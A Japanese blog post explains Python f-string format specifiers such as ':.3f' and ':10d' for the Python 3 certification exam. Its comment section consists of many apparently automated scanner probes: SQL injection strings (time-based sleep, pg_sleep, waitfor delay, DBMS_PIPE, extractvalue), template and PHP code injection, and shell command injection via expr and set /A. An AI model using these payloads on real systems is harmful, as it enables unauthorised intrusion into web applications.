【Python3認定基礎試験】文字列出力におけるフォーマット指定子(3f,10dなど)を解説【Pythonチュートリアル(7章)】

カテゴリ:Python 投稿:2022年8月8日0:05、更新:2022年8月17日0:03

・記事の概要 

Pythonチュートリアル(第4版)の7章(入出力)における

フォーマット指定子(3f,10dなど)について説明します。

初学者や非エンジニアの方にも、なるべく分かりやすくまとめます!


・この記事の対象 

Python認定基礎試験を受験する方(非エンジニアの方含み)

・Pythonチュートリアルの読者で内容が腹落ちしていない方

・7章で解説なく3fや10dが出てきて戸惑った方


・なんの解説か 

Pythonチュートリアル(第4版)を章ごとに解説していきます。


今回はPythonチュートリアルの7章についての記載ですが

75ページからの「フォーマット済み文字列リテラル」

の内容を説明します。


初見だと急に出てくる「{phone:10d} ってなんだ?」と

思う方も多いのではないでしょうか。

正直この辺は細かく記載するとどこまでも書けてしまうので

今回は書籍記載内容を読むにあたって困らない補足までに留めます。


また、公式書籍の準備がまだという方は、購入をお勧めします。

内容が分かりにくいというレビューも聞きますが、

(実際に初学者へ凄く丁寧な説明というわけではないが)

要点をかなりしっかり抑えた内容ですので、

資格取得という面ではなくとも手元にあるといいものです。



・フォーマット指定子とは 

{式}の中で、コロン(:)後に指定子(3fなど)を付ける事で

コロン(:)前の値に対して書式の指定ができるというものです。

書籍に登場するものだと「:.3f」や「:10d」がこれに当たります。


fは少数に対して、小数点以下の行数を指定した出力をする時に用います。

dは整数に対して、10進数での出力をする時に用います。

(2進数ならb、2進数ならx、などもあります

以下でソースとともに見ていきましょう。



・ソースを見ながらの解説 

以下は指定子「f」の例です。

f文字列と初見だとややこしいかもしれないので、区別して見てみてください。


指定子fのソース


「:.」というコロンとピリオドを繋げる書き方をします。

その次に来る数字が対象の値「1.111」の小数点以下の桁数を指定しています。

またこれは補足なのですが、指定小数点以下は切り上げ/切り下げなのかというと

ほとんど四捨五入だと思ってください。

「ほとんど」というのは5の場合は双方あり得るからです。

要はあんまり厳密な結果が欲しい場合には使わない、とだけ知っておければ。



また以下は指定子「d」の例です。

これは主に文字列の最小幅について見られればと思います。

※書籍には記載があるが10進数での出力なので、

 少し特殊な変換などでしか実際は使わない。


指定子dのソース


最小幅って?ってのが上記でイメージしやすいかもしれません。

{:2d}だと10を出力している時点で最小幅が2を満たしているのでズレず

{:3d}以降だと10を含めて最小幅になるように左に空白詰めがされます。

この仕様ゆえに、書籍にも「出力時の行の整列に便利」と書かれているんですね。


・まとめ 

いかがだったでしょうか。

今回の内容は非常に抜粋的ですが、

もっと指定子について知りたい場合は調べる&実行してみてください。


Python3認定基礎試験の解説記事は今後も続けてみようと思いますが、

皆様の参考になれば幸いです。


繰り返しにはなりますが、受験には公式書籍があった方がいいですので

メインは書籍でインプットをしていきましょう!



Pythonチュートリアル 第4版


ただ「本当にプログラミング自体が初心者で」という場合は公式書籍の前に

「スッキリシリーズ」のテキストから入ると挿絵や説明がかなり分かりやすく

初めての理解には役立つかもしれません。

私も未経験の新卒時にはJavaで同じシリーズを読んでいました。

(経験者からすると少し冗長的かもしれないが、それくらい丁寧である)


・関連記事 

Python3認定基礎試験関連の記事が以下にもあります。

参考までにぜひ!


・第4章(P30~)に関する説明記事

関数における引数のデフォルト値について解説


・第9章の前に読んでほしい記事

初学者にクラスについて最初に抑えておいてもらいたいこと


・1問1答形式で使いやすい演習問題サイトの紹介記事

Python3エンジニア認定基礎試験の使いやすい演習問題サイトをご紹介!


コメント一覧

名無し / 2023年9月13日7:33
123456

名無し / 2023年9月13日7:36
123456
expr 806960498 + 971504268

名無し / 2023年9月13日7:36
123456

${@var_dump(md5(652589338))}; / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
/*1*/{{949908375+803784751}}

名無し / 2023年9月13日7:36
123456|expr 838488018 + 981364563

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456

${834189131+912235221} / 2023年9月13日7:36
123456

'-var_dump(md5(886302684))-' / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
${946570588+838794065}

名無し / 2023年9月13日7:36
123456$(expr 825720696 + 982406090)

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
${863155342+994059617}

名無し / 2023年9月13日7:36
${@var_dump(md5(765017992))};

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
${(984139189+806086154)?c}

名無し / 2023年9月13日7:36
123456&set /A 911194209+826678481

名無し / 2023年9月13日7:36
123456'and/**/extractvalue(1,concat(char(126),md5(1391144976)))and'

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
'-var_dump(md5(967995264))-'

名無し'and'd'='d / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
#set($c=950337801+876219435)${c}$c

名無し / 2023年9月13日7:36
expr 999695684 + 952140506

名無し / 2023年9月13日7:36
123456"and/**/extractvalue(1,concat(char(126),md5(1283493018)))and"

名無し'and'z'='o / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
<%- 845563438+940257995 %>

名無し / 2023年9月13日7:36
extractvalue(1,concat(char(126),md5(1410808377)))

名無し"and"r"="r / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456'and(select'1'from/**/cast(md5(1207185625)as/**/int))>'0

名無し"and"o"="g / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456/**/and/**/cast(md5('1354430379')as/**/int)>0

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1883917880')))

名無し / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1326076332')))>'0

名無し / 2023年9月13日7:36
123456

名無し expr 890991584 + 873860492 / 2023年9月13日7:36
123456

名無し / 2023年9月13日7:36
123456鎈'"\(

/*1*/{{871341323+958485341}} / 2023年9月13日7:37
123456

名無し|expr 861910718 + 962528871 / 2023年9月13日7:37
123456

名無し / 2023年9月13日7:37
123456'"\(

${998366735+817203001} / 2023年9月13日7:37
123456

${(897981793+864194304)?c} / 2023年9月13日7:37
123456

名無し&set /A 993639082+906077413 / 2023年9月13日7:37
123456

expr 999225132 + 920813866 / 2023年9月13日7:37
123456

<%- 924897129+890097160 %> / 2023年9月13日7:37
123456

名無し / 2023年9月13日7:37
123456/**/and+3=3

名無し / 2023年9月13日7:37
123456/**/and+4=7

名無し / 2023年9月13日7:37
123456'and'w'='w

名無し / 2023年9月13日7:37
123456'and'x'='w

名無し / 2023年9月13日7:37
123456"and"t"="t

名無し / 2023年9月13日7:37
123456"and"k"="x

名無し / 2023年9月13日7:37
(select*from(select+sleep(0)union/**/select+1)a)

名無し / 2023年9月13日7:37
(select*from(select+sleep(2)union/**/select+1)a)

名無し鎈'"\( / 2023年9月13日7:37
123456

名無し / 2023年9月13日7:37
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

名無し'"\( / 2023年9月13日7:37
123456

名無し / 2023年9月13日7:37
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

名無し / 2023年9月13日7:37
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

名無し / 2023年9月13日7:38
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

名無し / 2023年9月13日7:38
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

名無し / 2023年9月13日7:38
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

名無し / 2023年9月13日7:38
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

名無し / 2023年9月13日7:38
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

名無し / 2023年9月13日7:38
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

名無し / 2023年9月13日7:38
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

名無し / 2023年9月13日7:38
123456'and(select+1)>0waitfor/**/delay'0:0:0

名無し / 2023年9月13日7:38
123456'and(select+1)>0waitfor/**/delay'0:0:2

名無し / 2023年9月13日7:38
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('q',0)

名無し / 2023年9月13日7:38
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('v',2)

名無し / 2023年9月13日7:38
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',0)='v

名無し / 2023年9月13日7:38
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g

名無し / 2023年11月7日15:30
123456

名無し / 2023年11月7日15:30
123456

名無し expr 966018306 + 850143035 / 2023年11月7日15:33
123456

${@var_dump(md5(171867073))}; / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456

名無し|expr 943047253 + 920607703 / 2023年11月7日15:33
123456

/*1*/{{973782730+971672476}} / 2023年11月7日15:33
123456

'-var_dump(md5(596872308))-' / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456

${803560950+921245768} / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456

${879446805+934031876} / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
${@var_dump(md5(321522317))};

名無し / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
${976814127+849881528}

名無し / 2023年11月7日15:33
123456

名無し&set /A 881744299+977224520 / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456

${(867155351+835050592)?c} / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
'-var_dump(md5(663008230))-'

名無し / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456'and/**/extractvalue(1,concat(char(126),md5(1806623463)))and'

expr 892042815 + 805153769 / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456

名無し'and't'='t / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456"and/**/extractvalue(1,concat(char(126),md5(1258115114)))and"

名無し / 2023年11月7日15:33
123456
expr 934472470 + 878805527

<%- 994911102+880542749 %> / 2023年11月7日15:33
123456

名無し'and'l'='q / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
extractvalue(1,concat(char(126),md5(1878905162)))

名無し / 2023年11月7日15:33
123456|expr 894821071 + 941516304

名無し / 2023年11月7日15:33
/*1*/{{987325587+827408962}}

名無し"and"s"="s / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456'and(select'1'from/**/cast(md5(1356361811)as/**/int))>'0

名無し / 2023年11月7日15:33
123456$(expr 921803534 + 949660262)

名無し / 2023年11月7日15:33
${829901862+897736225}

名無し"and"c"="c / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456/**/and/**/cast(md5('1393205245')as/**/int)>0

名無し / 2023年11月7日15:33
123456&set /A 854450392+919319551

名無し / 2023年11月7日15:33
${(983700289+800254602)?c}

名無し / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1965860642')))

名無し / 2023年11月7日15:33
expr 844192609 + 994868076

名無し / 2023年11月7日15:33
#set($c=889384954+980492954)${c}$c

名無し / 2023年11月7日15:33
123456

名無し / 2023年11月7日15:33
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1898913316')))>'0

名無し / 2023年11月7日15:34
<%- 929192040+917714125 %>

名無し / 2023年11月7日15:34
123456

名無し / 2023年11月7日15:34
123456鎈'"\(

名無し / 2023年11月7日15:34
123456'"\(

名無し / 2023年11月7日15:34
123456/**/and+4=4

名無し / 2023年11月7日15:34
123456/**/and+1=9

名無し / 2023年11月7日15:34
123456'and'm'='m

名無し / 2023年11月7日15:34
123456'and'r'='g

名無し / 2023年11月7日15:35
123456"and"l"="l

名無し / 2023年11月7日15:35
123456"and"y"="p

名無し / 2023年11月7日15:35
(select*from(select+sleep(0)union/**/select+1)a)

名無し / 2023年11月7日15:35
(select*from(select+sleep(2)union/**/select+1)a)

名無し鎈'"\( / 2023年11月7日15:35
123456

名無し / 2023年11月7日15:35
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

名無し'"\( / 2023年11月7日15:35
123456

名無し / 2023年11月7日15:35
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

名無し / 2023年11月7日15:35
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

名無し / 2023年11月7日15:35
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

名無し / 2023年11月7日15:35
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

名無し / 2023年11月7日15:35
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

名無し / 2023年11月7日15:35
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

名無し / 2023年11月7日15:35
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

名無し / 2023年11月7日15:35
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

名無し / 2023年11月7日15:36
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

名無し / 2023年11月7日15:36
123456'and(select+1)>0waitfor/**/delay'0:0:0

名無し / 2023年11月7日15:36
123456'and(select+1)>0waitfor/**/delay'0:0:2

名無し / 2023年11月7日15:36
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('i',0)

名無し / 2023年11月7日15:36
123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('w',2)

名無し / 2023年11月7日15:36
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',0)='x

名無し / 2023年11月7日15:36
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('o',2)='o

コメント投稿ページへ


書いている人

のぎ
PG->SE->PMとして働き、現在はIT企業で新卒採用の担当をしています。長期育休取得明けで0歳娘の対応に毎日バタバタです。笑
採用業務をしつつ社内利用ツールなど作成しており、当ブログも勉強の一環でコーディングして作成しています。 エンジニア領域、人事・採用領域、育児関連など発信していきます。